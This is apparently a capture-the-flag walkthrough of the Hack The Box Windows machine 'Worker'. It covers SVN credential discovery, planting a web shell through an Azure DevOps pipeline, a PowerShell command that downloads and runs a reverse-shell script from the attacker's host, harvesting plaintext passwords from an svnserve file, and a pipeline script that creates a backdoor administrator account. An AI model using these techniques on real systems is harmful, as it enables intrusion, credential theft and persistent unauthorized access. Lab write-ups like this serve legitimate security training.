Worker is a medium difficulty Windows machine that features a self-hosted Apache Subversion and Azure DevOps server. Enumerating the Subversion server discovers a set of credentials and a subdomain at which the Azure DevOps is hosted. The credentials can be used to login into Azure DevOps. Dropping a web shell into one of the live sites allows me to gain foothold on the system. Enumerating the system reveals another credentials which can also be used to login into Azure DevOps. With these credentials, I’m able to gain administrator access through Azure Pipeline.
- SVN enumeration
- Windows enumeration
- Exploiting Azure Pipelines
- Kali Linux (Attacking Machine) - https://www.kali.org/
- Nmap - Preinstalled in Kali Linux
- svn cli client - Preinstalled in Kali Linux
- Evil-WinRM - https://github.com/Hackplayers/evil-winrm
An initial TCP scan with
nmap discovers two open ports: 80 (HTTP) and 3690 (Subversion).
→ root@kali «worker» «10.10.14.19» $ nmap -sC -sV -oN worker-initial -v 10.10.10.203 # Nmap 7.80 scan initiated Sun Aug 16 11:35:56 2020 as: nmap -sC -sV -oN worker-initial -v 10.10.10.203 Nmap scan report for dimension.worker.htb (10.10.10.203) Host is up (0.16s latency). PORT STATE SERVICE VERSION 80/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-server-header: Microsoft-HTTPAPI/2.0 |_http-title: Service Unavailable 3690/tcp open svnserve Subversion Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Performing another scan on typical Active Directory DC ports shows only WinRM (5985) is open.
→ root@kali «worker» «10.10.14.19» $ nmap -p53,445,389,5985 10.10.10.203 Starting Nmap 7.80 ( https://nmap.org ) at 2021-01-31 13:34 EST Host is up (0.013s latency). PORT STATE SERVICE 53 filtered domain 389 filtered ldap 445 filtered microsoft-ds 5985 open wsman
TCP 80 - Website
Visiting the port 80 displays the IIS default page.
TCP 3690 - Subversion/SVN
This is my first encounter with Subversion, it is a software for version control that is similar to git. To interact with this service, I’ll need the Subversion client. Fortunately, it was preinstalled in Kali Linux.
The general usage is as follows:
$ svn <sub-command> svn://[ip]
- Example of subcommand:
With the subcommand
ls, I can list the repository contents.
→ root@kali «worker» «192.168.2.103» $ svn ls svn://10.10.10.203 dimension.worker.htb/ moved.txt
The content of
moved.txt tells that the svn repository is no longer maintained, and the latest repo is available at
→ root@kali «worker» «192.168.2.103» $ svn cat svn://10.10.10.203/moved.txt This repository has been migrated and will no longer be maintaned here. You can find the latest version at: http://devops.worker.htb // The Worker team :)
With the subcommand
info, I find the author of the repository. It also reveals that the repository has 5 revisions (commit).
→ root@kali «worker» «192.168.2.103» $ svn info svn://10.10.10.203 Path: . URL: svn://10.10.10.203 Relative URL: ^/ Repository Root: svn://10.10.10.203 Repository UUID: 2fc74c5a-bc59-0744-a2cd-8b7d1d07c9a1 Revision: 5 Node Kind: directory Last Changed Author: nathen Last Changed Rev: 5 Last Changed Date: 2020-06-20 09:52:00 -0400 (Sat, 20 Jun 2020)
I can check the revision log using the sub command
→ root@kali «worker» «192.168.2.103» $ svn log svn://10.10.10.203 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - r5 | nathen | 2020–06–20 09:52:00 -0400 (Sat, 20 Jun 2020) | 1 line Added note that repo has been migrated - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - r4 | nathen | 2020–06–20 09:50:20 -0400 (Sat, 20 Jun 2020) | 1 line Moving this repo to our new devops server which will handle the deployment for us - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - r3 | nathen | 2020–06–20 09:46:19 -0400 (Sat, 20 Jun 2020) | 1 line - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - r2 | nathen | 2020–06–20 09:45:16 -0400 (Sat, 20 Jun 2020) | 1 line Added deployment script - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - r1 | nathen | 2020–06–20 09:43:43 -0400 (Sat, 20 Jun 2020) | 1 line First version - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
The commit message on
r2 seems interesting.
I can check the differences between
r2 using the subcommand
diff. The output shows there is a hard-coded credentials.
→ root@kali «worker» «192.168.2.103» $ svn diff -r 1:2 svn://10.10.10.203/
From here, I’ll take note about what I’ve found here.
- Two subdomains:
- A set of credentials:
I’ll add those two subdomains to my
10.10.10.203 dimension.worker.htb devops.worker.htb
Then after I make sure there is nothing left, I’ll revisit port 80 with the newly discovered subdomain.
TCP 80 - dimension.worker.htb
dimension.worker.htb presented with a static page.
It even leads to others static site (with subdomain) which I think they are just decoy.
Before moving on, I’ll add all the subdomains I found on
/#work to my
/etc/hosts. They are:
Now I’ll jump over to the mentioned DevOps server at
Azure DevOps - SmartHotel360
http://devops.worker.htb pops an authentication prompt. It logs me in after I entered the credentials I obtained from SVN, and the user,
nathen, is currently working on a project called “SmartHotel360”.
My first objective is to find out what permission do this user have. I clicked the project and try to lookup into the Project Settings.
User permission or group related settings are found to be under the Security menu (Project Settings -> Security Settings).
It seems user
nathen is the only member of the SmartHotel360 Team.
And the SmartHotel360 team is a member of Contributors group and Projects Valid Users, and this is added by default upon creating a team group.
The Contributors group and Projects Valid Users group permissions are defined here, and user
nathen inherits those two groups' permission.
From there, I try to lookup into the project’s repository.
I find a bunch of website repositories on the Repos menu. These repositories are previously listed on
http://dimension.worker.htb/#work page. User
nathen is the author of these repositories.
On the Pipelines menu, there are Azure Pipelines for some of the sites. Azure Pipelines is CICD feature from Azure DevOps. It is similar to GitHub Action that I use to rebuild this static site using Hugo when there is a new commit pushed into the main/master branch.
My video recommendation about CICD: https://www.youtube.com/watch?v=scEDHsr3APg
nathen is allowed to queue a builds.
With all of these permission, I can make changes such as dropping a web shell to one of the site repositories that has its own pipeline, say the alpha repository which has Alpha-CI, then I can queue those changes to the pipelines and wait until the site re-deployed/hosted. From there, I should be able to access my web-shell.
Shell as IIS appool
On my first attempt, it tells me to use pull requests instead of uploading a file directly to the master branch.
So, I’ll upload my web shell which is
cmdasp.aspx (because the web server is IIS) on a new branch. I’ll be using the alpha repository.
I’ll pick any available work items.
I can just drag and drop the web shell, and commit it afterwards.
From here, I can create a pull request to the master branch to trigger the pipelines or run the Alpha-CI build manually.
If I choose a pull request, it needs to be reviewed first and the reviewer is the user
nathen itself, it can decide whether to approve or reject the pull request (well, actually it was me who decide it). It then queue the build.
The other options is with this queue builds. I can skip the review and run the queue builds for my branch (on the image it is shell branch instead of iamf).
After the build finished, I can see my web shell is available at
To gain an interactive shell, I’ll setup a
netcat listener on my Kali, then I’ll upload a PowerShell reverse shell called
itsf.ps1 and execute it via the web shell.
powershell.exe "mkdir c:/temp;invoke-webrequest -uri 10.10.14.19/itsf.ps1 -outfile C:\temp\itsf.ps1;C:\temp\itsf.ps1"
I have a shell now on my listener.
Shell as robisl
Enumerating the user groups and privileges using the
whoami /all command reveals that IIS appool has
SeImpersonatePrivilege which according to BookHackTrick, it can be abused using RogueWinRM.
Unfortunately, the WinRM port was already open, I couldn’t exploit it with RogueWinRM. But, I managed to find another way!
Enumerating the Users folder finds two users,
restorer (as the name implies, it restore the box configuration, I’ll ignore this).
By using the
net command, it shows that
robisl can login remotely.
PS C:\Users> net user robisl User name robisl Full Name Robin Islip Comment User’s comment Country/region code 000 (System Default) Account active Yes Account expires Never Password last set 2020-04-05 21:27:26 Password expires Never Password changeable 2020-04-05 21:27:26 Password required No User may change password No Workstations allowed All Logon script User profile Home directory Last logon 2020-08-18 18:28:36 Logon hours allowed All Local Group Memberships *Production *Remote Global Group memberships *None The command completed successfully.
net command, I also find there is another drive mounted as
PS C:\users\>net share Share name Resource Remark ------------------------------------------------------------------------------- C$ C:\ Default share IPC$ Remote IPC W$ W:\ Default share ADMIN$ C:\Windows Remote Admin The command completed successfully.
There are 4 folders in the
W:\ drive, the one that interesting is the svnrepos folder.
PS W:\> dir Directory: W:\ Mode LastWriteTime Length Name ---- ------------- ------ ---- d----- 2020-06-16 18:59 agents d----- 2020-03-28 15:57 AzureDevOpsData d----- 2020-04-03 11:31 sites d----- 2020-06-20 16:04 svnrepos
I can enumerate all folder and sub folder on the
W: drive recursively using the
dir command. Because I’m on PowerShell, I have to specify
cmd /c .
PS W:\> cmd.exe /c "dir /s /b svnrepos"
Well PowerShell can do that too.
PS W:\> Get-ChildItem -Path W:\svnrepos -Filter * -Recurse -ErrorAction SilentlyContinue -Force
In the output, there is a
passwd file that immediately draws my attention.
passwd file contains a bunch of credentials, one of which is a password for
PS W:\svnrepos\> gc .\www\conf\passwd ### This file is an example password file for svnserve. ### Its format is similar to that of svnserve.conf. As shown in the ### example below it contains one section labelled [users]. ### The name and password for each user follow, one account per line. [users] nathen = wendel98 nichin = fqerfqerf nichin = asifhiefh noahip = player nuahip = wkjdnw oakhol = bxwdjhcue owehol = supersecret paihol = painfulcode parhol = gitcommit pathop = iliketomoveit pauhor = nowayjose payhos = icanjive perhou = elvisisalive peyhou = ineedvacation phihou = pokemon quehub = pickme quihud = kindasecure rachul = guesswho raehun = idontknow ramhun = thisis ranhut = getting rebhyd = rediculous reeinc = iagree reeing = tosomepoint reiing = isthisenough renipr = dummy rhiire = users riairv = canyou ricisa = seewhich robish = onesare robisl = wolves11 robive = andwhich ronkay = onesare rubkei = the rupkel = sheeps ryakel = imtired sabken = drjones samken = aqua sapket = hamburger sarkil = friday
Remote Access - robisl
I can login remotely using
robisl credentials with
→ root@kali «worker» «10.10.14.19» $ evil-winrm -i 10.10.10.203 -u robisl -p wolves11 Evil-WinRM shell v2.3 Info: Establishing connection to remote endpoint *Evil-WinRM* PS C:\Users\robisl\Documents> whoami worker\robisl *Evil-WinRM* PS C:\Users\robisl\Documents> cd ../Desktop *Evil-WinRM* PS C:\Users\robisl\Desktop> dir Directory: C:\Users\robisl\Desktop Mode LastWriteTime Length Name ---- ------------- ------ ---- -ar--- 1/29/2020 3:37 PM 34 user.txt
Shell as administrator
Azure DevOps - PartsUnlimited
After enumerating many things in the remote shell and coming up empty-handed, I returned to Azure DevOps, but this time with a
Long short story,
robisl is member of Build Administrator.
The Build Administrators defined as follows [source].
Exploit Azure Pipelines - Read the Root Flag
So the plan is, I’ll create an Azure pipelines with malicious deployment script/task to execute OS commands.
If I lookup into the agent pool in the Project Settings menu, there is an available agent named ‘Setup’. The agent is owned by an Administrator account, and as a Build Administrator member (inherited), user
robisl also has access to it.
So, let’s execute the plan!
First, I’ll create a pipeline (Pipelines -> Builds -> New Pipeline).
In the next section, I’ll choose Azure Repos Git.
On the next one, I’ll select “PartsUnlimited” as the repository, because that is the repo where
robisl is working on.
In the Configure section, scroll down and select the starter pipeline (I forgot the name, but don’t choose the existing one). After that, I’ll modify the pool and the script in the “Review” section to steal the flag.
The master branch will be the
trigger to run the CI\CD (If I push a changes to the “PartsUnlimited” repository). Since I have access to the “Setup” pool, I’ll use it as the
pool. Lastly, on the
steps you can add a task/script you want to run/do. In my case, I want to read the root flag.
I’ll save it and run it on a new branch.
I’ll just wait for the output log.
Once it completed, I can see the root flag inside the “Steal the flag” output
Create User with Administrator Privileges
I can also create a privileged user using multi-line script.
- script: | net user iamf YourComplexPassword /add /domain net localgroup Administrators iamf /add net localgroup "Remote Management Users" iamf /add displayName: "Set IamF to Admin"
I can push it again and wait for it to complete.
Now I can login with the newly created user.